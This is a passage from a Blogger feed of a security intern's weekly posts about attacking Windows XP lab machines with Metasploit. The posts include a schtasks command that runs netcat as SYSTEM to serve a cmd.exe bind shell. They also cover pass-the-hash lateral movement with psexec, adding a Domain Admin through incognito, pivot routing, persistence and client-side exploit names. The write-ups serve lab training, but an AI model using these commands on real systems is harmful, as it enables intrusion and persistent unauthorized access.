AT.exe.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Parameter List:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Create         Creates a new scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Delete         Deletes the scheduled task(s).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Query          Displays all scheduled tasks.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Change         Changes the properties of scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /Run            Runs the scheduled task immediately.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /End            Stops the currently running scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /?              Displays this help/usage.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Examples:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Run /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /End /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Create /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Delete /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Query  /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Change /?&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;schtasks /change /?&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;schtasks /change /?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-size:85%;" &gt;&lt;span style="font-family:courier new;"&gt;SCHTASKS /Change [/S system [/U username [/P password]]] {[/RU runasuser]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    [/RP runaspassword] [/TR taskrun]} /TN taskname&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Description:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    Changes the program to run, or user account and password used&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    by a scheduled task.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Parameter List:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /S       system           Specifies the remote system to connect to.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /U       username         Specifies the user context under&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              which the command should execute.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /P       password         Specifies the password for the given&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              user context.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /RU      username         Changes the user name (user context) under&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              which the scheduled task has to run.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              For the system account, valid values are&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              "", "NT AUTHORITY\SYSTEM" or "SYSTEM".&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /RP      password         Specifies a new password for the existing&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              user context or the password for a new&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              user account. Password will not effect for&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              the system account.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /TR      taskrun          Specifies a new program that the scheduled&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              task runs. Type the path and file name of&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;                              the program.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /TN      taskname         Specifies which scheduled task to change.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    /?                        Displays this help/usage.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Examples:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Change /RP password /TN "Backup and Restore"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Change /TR restore.exe /TN "Start Restore"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    SCHTASKS /Change /S system /U user /P password /RU newuser&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;             /TN "Start Backup"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;schtasks /create /RU "SYSTEM" /SC ONLOGON /TN listen /TR "C:\Progra~1\ps\nc.exe -n -L -s 192.168.2.50 -p 9999 -e cmd.exe"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;schtasks /create /RU "SYSTEM" /SC ONLOGON /TN listen /TR "C:\Progra~1\ps\nc.exe -n -L -s 192.168.2.50 -p 9999 -e cmd.exe"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;INFO: The Schedule Task "listen" will be created under user name ("NT AUTHORITY\SYSTEM").&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(102, 0, 0);font-family:courier new;" &gt;SUCCESS: The scheduled task "listen" has successfully been created.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\Program Files\ps&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;meterpreter &gt; exit&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;[*] Meterpreter session 4 closed.  Reason: User exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 102, 102);font-family:courier new;" &gt;msf exploit(handler) &gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 102, 0);font-family:courier new;" &gt;/* After all this, I had successfully set up: portmapping on srv-DC - 192.168.2.1:9999 -&gt; 192.168.2.50:9999 firewall rule on srv-DC - allow tcp from any to any 9999 in firewall rule on wks-xp1 - allow tcp from any to any 9999 in task scheduled to run netcat (as system) at logon, listen on 9999 and provide a command shell to any connection. I tested this and can now successfully connect from outside the gateway: nc -nvv 192.168.1.250 9999 (srv-DC OutsideNIC) */&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-5386415919700429511?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/5386415919700429511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-14-addendum.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5386415919700429511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/5386415919700429511'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-14-addendum.html' title='SimWitty Internship: Week 13 - Addendum'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-6300532768174160007</id><published>2010-04-11T22:56:00.001-05:00</published><updated>2010-04-11T22:57:51.629-05:00</updated><title type='text'>SimWitty Internship: Week 13</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;Well, this week is going to be kind of hard to write up. There was so much going on with trying to attack the other VMs that is began to blur somewhat in my head. I tried to keep notes as much as possible but it still may seem a bit confused.&lt;br /&gt;&lt;br /&gt;Let's see, for starters... I got wks-XP1 compromised and set up the meterpreter reverse tcp executable to try connecting back to me every 5 minutes. This worked good and gave me an easy way back in to the machine. I was then able to use the meterpreter session to install winpcap and nmap on wks-XP1.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="color: #76a5af;"&gt;Installing WinPcap and Nmap&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;The easiest way to get the right files to install for winpcap is to install it to a VM with matching OS of your target (I just used the actual VM in the case of this lab, then uninstalled it when I had what I wanted). Then create a folder to hold your files, and copy the following to your folder:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;c:\windows\system32\Packet.dll&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;c:\windows\system32\pthreadVC.dll&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;c:\windows\system32\wpcap.dll&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;c:\windows\system32\drivers\npf.sys&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;If you want to install the whole thing so it can be uninstalled, also copy over the files in c:\program files\winpcap and export the registry key HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WinPcapInst so you can import it on the target. For Nmap, you want to download the zipfile they make available for Windows. Unzip the file into a subfolder with your winpcap files i.e.:&lt;br /&gt;\---tools&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; +---nmap&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; \---winpcap&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;span style="color: #76a5af;"&gt;To install WinPcap, do the following:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Connect via meterpreter to the target (you will need admin privs)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Change your local working directory to where you have your winpcap files&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Change your target working directory to C:\windows\system32 (don't forget you need double backslashes for the path in meterpreter)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Upload Packet.dll, pthreadVC.dll, and wpcap.dll&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Change target working directory to C:\windows\system32\drivers&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Upload npf.sys&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Open a shell on the Victim&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;To create the service, run this command: (pay attention to weird MS space usage)&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;sc create npf type= kernel start= auto error= normal binpath= "c:\windows\system32\drivers\npf.sys"&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt; &lt;br /&gt;&lt;i&gt;&lt;span style="color: #76a5af;"&gt;To install Nmap do the following:&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;cd to c:\program files&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;mkdir nmap&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;cd nmap&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Jump back to meterpreter prompt&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Upload the nmap files&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Jump back to a command shell (be sure your in the nmap directory) and execute the following:&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;vcredist_x86.exe /q:a /c:"msiexec /i vcredist.msi /qn /l*v %temp%\vcredist_x86.log"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;The vcredist bit is courtesy of &lt;a href="http://blogs.msdn.com/astebner/archive/2006/08/23/715755.aspx"&gt;MSDN&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;You should now have working copies of Nmap and WinPcap on the victim. Start WinPcap: &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;net start npf&lt;/span&gt;, then check Nmap &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;nmap --version&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After installing both on wks-XP1, I ran a scan of the subnet and output to xml. I then downloaded (via meterpreter) the xml file to the attack VM. I tried importing into a new workspace in the db (figuring you have already connected to the db):&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;db_workspace -a nmap&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;db_workspace nmap&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;db_import_nmap_xml /path/to/xml_file&lt;/span&gt;&lt;br /&gt;I made sure that metasploit was routing 192.168.1.0/24 thru the active session, and then tried db_autopwn but it didn't work.&lt;br /&gt;&lt;br /&gt;Finally I decided to try using exploit/windows/smb/psexec (thank you YouTube for the &lt;a href="http://www.youtube.com/watch?v=ihodUmYxee4"&gt;Mubix Video&lt;/a&gt;). I had the existing meterpreter session connected back to port 31337 so I set LPORT for this instance to 31336. I used the SMBUser Administrator, SMBPass I pasted in the admin hash I got from running hashdump in the meterpreter session. I set the RHOST accordingly for each succesive attempt, starting with wks-XP2 at 192.168.2.51. This worked fine, and allowed me to use hashdump on each machine to get the password hashes. Unlike the video though, this would NOT work against the Domain Controller (srv-DC).&lt;br /&gt;&lt;br /&gt;I tried numerous times with different names and hashes against srv-DC. All returned either &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;STATUS_LOGON_FAILURE&lt;/span&gt; or &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;STATUS_ACCESS_DENIED&lt;/span&gt;. I am not exactly sure why this is. In the time I had to investigate, I found a link talking about &lt;a href="http://blogs.technet.com/askperf/archive/2009/01/16/understanding-print-notifications-in-windows-vista.aspx"&gt;NullSessionPipes&lt;/a&gt; that may have something to do with it. I never was successful running this exploit against the DC, but I was able to add a user to the Domain Admins group, I don't know exactly why one worked and the other didn't. The syntax for the &lt;i&gt;incognito&lt;/i&gt; command &lt;/span&gt;&lt;code style="font-family: Verdana,sans-serif;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;add_group_user&lt;/span&gt; is a lit&lt;/code&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;tle&lt;span style="font-family: Verdana,sans-serif;"&gt; weird, it is &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;add_group_user &lt;username&gt; &lt;groupname&gt; -h &lt;ip address="" of&amp;nbsp;=""&gt;&lt;/ip&gt;&lt;/groupname&gt;&lt;/username&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;DC&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;Getting into the Domain Controller needs more investigation and I think I will stretch it into next week a little. I hope this didn't come out as too much of a jumble, it sure felt like one.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-6300532768174160007?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/6300532768174160007/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-13.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/6300532768174160007'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/6300532768174160007'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-13.html' title='SimWitty Internship: Week 13'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-4722313760673048774</id><published>2010-04-04T23:41:00.000-05:00</published><updated>2010-04-04T23:41:40.998-05:00</updated><title type='text'>SimWitty Internship: Week 12</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;The task this week was to try and determine ways to create a foothold on the compromised machine and pivot the attack to the rest of the network. Seeing as how I only got meterpreter injected into a process with non-admin privileges I thought this was going to be very tough. I realize that it is possible to load the &lt;i&gt;&lt;b&gt;&lt;span style="color: #b45f06;"&gt;priv&lt;/span&gt;&lt;/b&gt;&lt;/i&gt; extension and run &lt;i style="color: #b45f06;"&gt;&lt;b&gt;getsystem&lt;/b&gt;&lt;/i&gt;. I tried that, but there is a problem with it in the VirtualBox environment. It uses the "KiTrap0D" vulnerability for escalation. When you try this in VirtualBox (3.1.4) it crashes the VM and brings up a "Guru Mediation" message.&lt;br /&gt;&lt;br /&gt;I spent a lot of time during the week reading up on different types of privilege escalation methods, concentrating more on older methods because these are old, unpatched machines. I was trying everything from the shatter attack to abusing service permission levels and nothing was working, I was starting to have a bad feeling. Finally I found a solution. I was just over thinking things. The key to it all is routing, and that is made simple thanks to the great people working on Metasploit.&lt;br /&gt;&lt;br /&gt;What you need to do is establish the first session, then send it to the background. At the msfconsole prompt, use the &lt;i style="color: #b45f06;"&gt;&lt;b&gt;route&lt;/b&gt;&lt;/i&gt; command (-h for help) to add a route to the 192.168.2.0/24 network using the meterpreter session number (1 in my case) as the gateway i.e. &lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;route add 192.168.2.0 255.255.255.0 1&lt;/span&gt;&lt;/span&gt;. Once this is done, switch to a good ole exploit like ms08-067 netapi. You then set the RHOST to the machine you have session 1 open on and exploit it. Soon you should have a session 2 coming back to you and this time when you &lt;i style="color: #b45f06;"&gt;&lt;b&gt;getuid&lt;/b&gt;&lt;/i&gt; you should see NT AUTHORITY\System. At that point I like to remove the routing entry, kill session 1 and redo the route entry using session 2. Once this is done you can hit any other machine on that network.&lt;br /&gt;&lt;br /&gt;As to the question of establishing a foothold, I tried a few methods. There is a meterpreter script called persistence that is supposed to automate this (details &lt;a href="http://www.darkoperator.com/blog/2009/12/31/meterpreter-persistance.html"&gt;here&lt;/a&gt;) but I didn't have any luck with that method. It just wrote its vbs script in Windows\temp and nothing else. I also experimented with manually making an executable with a meterpreter/reverse_tcp payload. I uploaded this to the victim then manually linked it in the HKLM run key, but this didn't work either. The one thing that did work for me was to use the &lt;i style="color: #b45f06;"&gt;&lt;b&gt;scheduleme&lt;/b&gt;&lt;/i&gt; script to set up a constantly running task with this exe. I set it to try and connect back every 5 min and it worked like a charm, although I realize this is a very obvious and noisy method. I was a little worried about it spawning a hundred instances on the victim but it seemed that as long as one was running, another wouldn't start. You could further customize the instance by opening a shell and using &lt;i style="color: #b45f06;"&gt;&lt;b&gt;schtasks&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The next goal is to see what other machines I can compromise. It would be nice to be able to route nmap through meterpreter sessions, but I haven't figured out a way to do this yet. There is a video I looked at briefly that shows how to tunnel a nessus scan through meterpreter using ssh that might be adaptable for nmap (links &lt;a href="http://pauldotcom.com/2010/03/nessus-scanning-through-a-meta.html"&gt;here&lt;/a&gt;). Even without that I can always just upload and install nmap and go from there. Metasploit does have some scanners available, but not as good for general recon as nmap. More next week.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-4722313760673048774?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/4722313760673048774/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-12.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/4722313760673048774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/4722313760673048774'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/04/simwitty-internship-week-12.html' title='SimWitty Internship: Week 12'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-6202593840649708352</id><published>2010-03-30T22:02:00.000-05:00</published><updated>2010-03-30T22:02:00.438-05:00</updated><title type='text'>SimWitty Internship: Week 11</title><content type='html'>&lt;span style="font-family: Verdana,sans-serif;"&gt;Well I'm finally here with this week's post. Better late than never is what they tell me. This week and last week were sort of a combination or crossover. First I had to set up a method to monitor change, then I had to try running actual exploits and save information that might indicate a compromise. The two haven't totally come together yet because my first attempt at exploit was only able to get into a non-admin process. I could see changes in memory usage but nothing very exciting. As I research how to increase privileges and pivot from the original machines, I hope to have more to report.&lt;br /&gt;&lt;br /&gt;The first exploits I ran were to simulate client side attacks. One involved creating a malicious pdf file with Metasploit and opening it on the victim machine. This was meant to simulate a malicious email attachment. The other involved setting up Metasploit to serve up a malicious web page. This would simulate someone clicking on a malicious link, either within an email or on a web page. The exploits that I tried were:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pdf&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;adobe_utilprintf&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;adobe_flatedecode_predictor02&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;adobe_geticon&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;adobe_jbig2decode (process)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;adobe_jbig2decode (seh)&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; browser&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;ms10_002_aurora&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;ani_loadimage_chunksize&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;ie_createobject&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;br /&gt;The machines I am attacking are both XP Pro SP2. The browser is IE6 and the version of Acrobat reader is 8.1. The users that executed the exploits were both non-admin. The exploits that worked were the jbig2decode and ie_createobject. Since the users were not running in administrator accounts I wasn't able to accomplish much. I was able to migrate to processes that they owned. I couldn't steal any tokens to escalate my privileges, so I couldn't migrate to any other processes. I could read and write within my own directory areas. I could read the registry but not write to it (at least not hlkm).&lt;br /&gt;&lt;br /&gt;I can now see the proof that it is a good idea to run as non-admin. This week's work will involve trying to find a way to increase my privileges and pivot the attack to other machines on the internal LAN.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4050993377161104768-6202593840649708352?l=jah-internship.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jah-internship.blogspot.com/feeds/6202593840649708352/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-11.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/6202593840649708352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4050993377161104768/posts/default/6202593840649708352'/><link rel='alternate' type='text/html' href='http://jah-internship.blogspot.com/2010/03/simwitty-internship-week-11.html' title='SimWitty Internship: Week 11'/><author><name>jah</name><uri>http://www.blogger.com/profile/17901521755465659883</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_rPtLhh3m4P0/S1OM6ixjPzI/AAAAAAAAAAY/SSseKQaNyM4/S220/headshot.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4050993377161104768.post-1129679442644729859</id><published>2010-03-22T00:33:00.004-05:00</published><updated>2010-03-22T00:41:43.392-05:00</updated><title type='text'>SimWitty Internship: Week 10</title><content type='html'>&lt;b&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;Goals&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;This week my goal was to come up with a baseline measurement of critical areas on the machines I will be attempting to breach. I believe there are three critical areas to pay attention to:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;i style="color: #990000; font-family: Verdana,sans-serif;"&gt;The Event Logs&lt;/i&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Proper control needed for audit settings/group policy&lt;/span&gt;&lt;br /&gt;&lt;i style="color: #990000; font-family: Verdana,sans-serif;"&gt;The File System&lt;/i&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Admin must be aware of permissions and able to track changes&lt;/span&gt;&lt;br /&gt;&lt;i style="color: #990000; font-family: Verdana,sans-serif;"&gt;Performance Counters&lt;/i&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt; Comparison against baseline may illuminate security problems&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Verdana,sans-serif;"&gt;&lt;b&gt;Event Logs&lt;/b&gt;&lt;br /&gt;The event log system has changed greatly in the post XP world. 